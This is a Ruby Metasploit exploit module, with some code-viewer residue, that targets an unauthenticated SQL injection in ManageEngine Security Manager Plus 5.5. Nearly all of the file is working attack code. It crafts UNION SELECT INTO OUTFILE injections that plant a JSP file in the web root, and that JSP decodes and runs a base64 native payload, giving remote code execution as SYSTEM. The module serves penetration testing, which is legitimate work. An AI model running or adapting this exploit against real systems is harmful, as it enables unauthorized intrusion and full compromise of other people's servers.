244 lines
7.5 KiB
Ruby
244 lines
7.5 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'msf/core/exploit/file_dropper'
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::FileDropper
|
|
include Msf::Exploit::EXE
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => "ManageEngine Security Manager Plus 5.5 Build 5505 SQL Injection",
|
|
'Description' => %q{
|
|
This module exploits a SQL injection found in ManageEngine Security Manager Plus
|
|
advanced search page, which results in remote code execution under the context of
|
|
SYSTEM in Windows; or as the user in Linux. Authentication is not required in order
|
|
to exploit this vulnerability.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'xistence <xistence[at]0x90.nl>', # Discovery & Metasploit module
|
|
'sinn3r', # Improved Metasploit module
|
|
'egypt' # Improved Metasploit module
|
|
],
|
|
'References' =>
|
|
[
|
|
['OSVDB', '86562'],
|
|
['EDB','22094'],
|
|
['BID', '56138']
|
|
],
|
|
'Platform' => %w{ linux win },
|
|
'Targets' =>
|
|
[
|
|
['Automatic', {}],
|
|
['Windows', { 'Arch' => ARCH_X86, 'Platform' => 'win' }],
|
|
['Linux', { 'Arch' => ARCH_X86, 'Platform' => 'linux' }]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'Privileged' => false,
|
|
'DisclosureDate' => "Oct 18 2012"))
|
|
|
|
register_options(
|
|
[
|
|
OptPort.new('RPORT', [true, 'The target port', 6262])
|
|
], self.class)
|
|
end
|
|
|
|
|
|
def check
|
|
res = sqli_exec(Rex::Text.rand_text_alpha(1))
|
|
|
|
if res and res.body =~ /Error during search/
|
|
return Exploit::CheckCode::Vulnerable
|
|
else
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
end
|
|
|
|
|
|
def pick_target
|
|
return target if target.name != 'Automatic'
|
|
|
|
rnd_num = Rex::Text.rand_text_numeric(1)
|
|
rnd_fname = Rex::Text.rand_text_alpha(5) + ".txt"
|
|
clean_path= "../webapps/SecurityManager/#{rnd_fname}"
|
|
outpath = "../" + clean_path
|
|
|
|
register_file_for_cleanup(clean_path)
|
|
|
|
sqli = "#{rnd_num})) union select @@version,"
|
|
sqli << (2..28).map {|e| e} * ","
|
|
sqli << " into outfile \"#{outpath}\" FROM mysql.user WHERE #{rnd_num}=((#{rnd_num}"
|
|
sqli_exec(sqli)
|
|
|
|
res = send_request_raw({'uri'=>"/#{rnd_fname}"})
|
|
|
|
# What @@version returns:
|
|
# Linux = 5.0.36-enterprise
|
|
# Windows = 5.0.36-enterprise-nt
|
|
|
|
if res and res.body =~ /\d\.\d\.\d\d\-enterprise\-nt/
|
|
print_status("#{rhost}:#{rport} - Target selected: #{targets[1].name}")
|
|
return targets[1] # Windows target
|
|
elsif res and res.body =~ /\d\.\d\.\d\d\-enterprise/
|
|
print_status("#{rhost}:#{rport} - Target selected: #{targets[2].name}")
|
|
return targets[2]
|
|
end
|
|
|
|
return nil
|
|
end
|
|
|
|
#
|
|
# Embeds our executable in JSP
|
|
#
|
|
def generate_jsp_payload
|
|
opts = {:arch => @my_target.arch, :platform => @my_target.platform}
|
|
native_payload = Rex::Text.encode_base64(generate_payload_exe(opts))
|
|
native_payload_name = Rex::Text.rand_text_alpha(rand(6)+3)
|
|
ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin'
|
|
|
|
var_raw = Rex::Text.rand_text_alpha(rand(8) + 3)
|
|
var_ostream = Rex::Text.rand_text_alpha(rand(8) + 3)
|
|
var_buf = Rex::Text.rand_text_alpha(rand(8) + 3)
|
|
var_decoder = Rex::Text.rand_text_alpha(rand(8) + 3)
|
|
var_tmp = Rex::Text.rand_text_alpha(rand(8) + 3)
|
|
var_path = Rex::Text.rand_text_alpha(rand(8) + 3)
|
|
var_proc2 = Rex::Text.rand_text_alpha(rand(8) + 3)
|
|
|
|
if @my_target['Platform'] == 'linux'
|
|
var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3)
|
|
chmod = %Q|
|
|
Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path});
|
|
Thread.sleep(200);
|
|
|
|
|
|
|
var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3)
|
|
cleanup = %Q|
|
|
Thread.sleep(200);
|
|
Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path});
|
|
|
|
|
else
|
|
chmod = ''
|
|
cleanup = ''
|
|
end
|
|
|
|
jsp = %Q|
|
|
<%@page import="java.io.*"%>
|
|
<%@page import="sun.misc.BASE64Decoder"%>
|
|
|
|
<%
|
|
byte[] #{var_raw} = null;
|
|
BufferedOutputStream #{var_ostream} = null;
|
|
try {
|
|
String #{var_buf} = "#{native_payload}";
|
|
|
|
BASE64Decoder #{var_decoder} = new BASE64Decoder();
|
|
#{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());
|
|
|
|
File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}");
|
|
String #{var_path} = #{var_tmp}.getAbsolutePath();
|
|
|
|
#{var_ostream} = new BufferedOutputStream(new FileOutputStream(#{var_path}));
|
|
#{var_ostream}.write(#{var_raw});
|
|
#{var_ostream}.close();
|
|
#{chmod}
|
|
Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path});
|
|
#{cleanup}
|
|
} catch (Exception e) {
|
|
}
|
|
%>
|
|
|
|
|
|
|
jsp = jsp.gsub(/\n/, '')
|
|
jsp = jsp.gsub(/\t/, '')
|
|
|
|
jsp.unpack("H*")[0]
|
|
end
|
|
|
|
def sqli_exec(sqli_string)
|
|
cookie = 'STATE_COOKIE=&'
|
|
cookie << 'SecurityManager/ID/174/HomePageSubDAC_LIST/223/SecurityManager_CONTENTAREA_LIST/226/MainDAC_LIST/166&'
|
|
cookie << 'MainTabs/ID/167/_PV/174/selectedView/Home&'
|
|
cookie << 'Home/ID/166/PDCA/MainDAC/_PV/174&'
|
|
cookie << 'HomePageSub/ID/226/PDCA/SecurityManager_CONTENTAREA/_PV/166&'
|
|
cookie << 'HomePageSubTab/ID/225/_PV/226/selectedView/HomePageSecurity&'
|
|
cookie << 'HomePageSecurity/ID/223/PDCA/HomePageSubDAC/_PV/226&'
|
|
cookie << '_REQS/_RVID/SecurityManager/_TIME/31337; '
|
|
cookie << '2RequestsshowThreadedReq=showThreadedReqshow; '
|
|
cookie << '2RequestshideThreadedReq=hideThreadedReqhide;'
|
|
|
|
state_id = Rex::Text.rand_text_numeric(5)
|
|
|
|
send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => "/STATE_ID/#{state_id}/jsp/xmlhttp/persistence.jsp",
|
|
'headers' => {
|
|
'Cookie' => cookie,
|
|
'Accept-Encoding' => 'identity'
|
|
},
|
|
'vars_get' => {
|
|
'reqType' =>'AdvanceSearch',
|
|
'SUBREQUEST' =>'XMLHTTP'
|
|
},
|
|
'vars_post' => {
|
|
'ANDOR' => 'and',
|
|
'condition_1' => 'OpenPorts@PORT',
|
|
'operator_1' => 'IN',
|
|
'value_1' => sqli_string,
|
|
'COUNT' => '1'
|
|
}
|
|
})
|
|
|
|
end
|
|
|
|
#
|
|
# Run the actual exploit
|
|
#
|
|
def inject_exec(out)
|
|
hex_jsp = generate_jsp_payload
|
|
rnd_num = Rex::Text.rand_text_numeric(1)
|
|
sqli = "#{rnd_num})) union select 0x#{hex_jsp},"
|
|
sqli << (2..28).map {|e| e} * ","
|
|
sqli << " into outfile \"#{out}\" FROM mysql.user WHERE #{rnd_num}=((#{rnd_num}"
|
|
|
|
print_status("#{rhost}:#{rport} - Trying SQL injection...")
|
|
sqli_exec(sqli)
|
|
|
|
fname = "/#{File.basename(out)}"
|
|
print_status("#{rhost}:#{rport} - Requesting #{fname}")
|
|
send_request_raw({'uri' => fname})
|
|
|
|
handler
|
|
end
|
|
|
|
|
|
def exploit
|
|
@my_target = pick_target
|
|
if @my_target.nil?
|
|
print_error("#{rhost}:#{rport} - Unable to select a target, we must bail.")
|
|
return
|
|
end
|
|
|
|
jsp_name = rand_text_alpha(rand(6)+3)
|
|
# The working directory when our payload runs is
|
|
# c:/AdventNet/SecurityManager/bin/
|
|
# while the jsp file will be in
|
|
# c:/AdventNet/SecurityManager/webapps/SecurityManager/
|
|
# so we need to adjust the traversal level.
|
|
clean_path= "../webapps/SecurityManager/#{jsp_name + '.jsp'}"
|
|
outpath = "../" + clean_path
|
|
|
|
register_file_for_cleanup(clean_path)
|
|
|
|
inject_exec(outpath)
|
|
end
|
|
end
|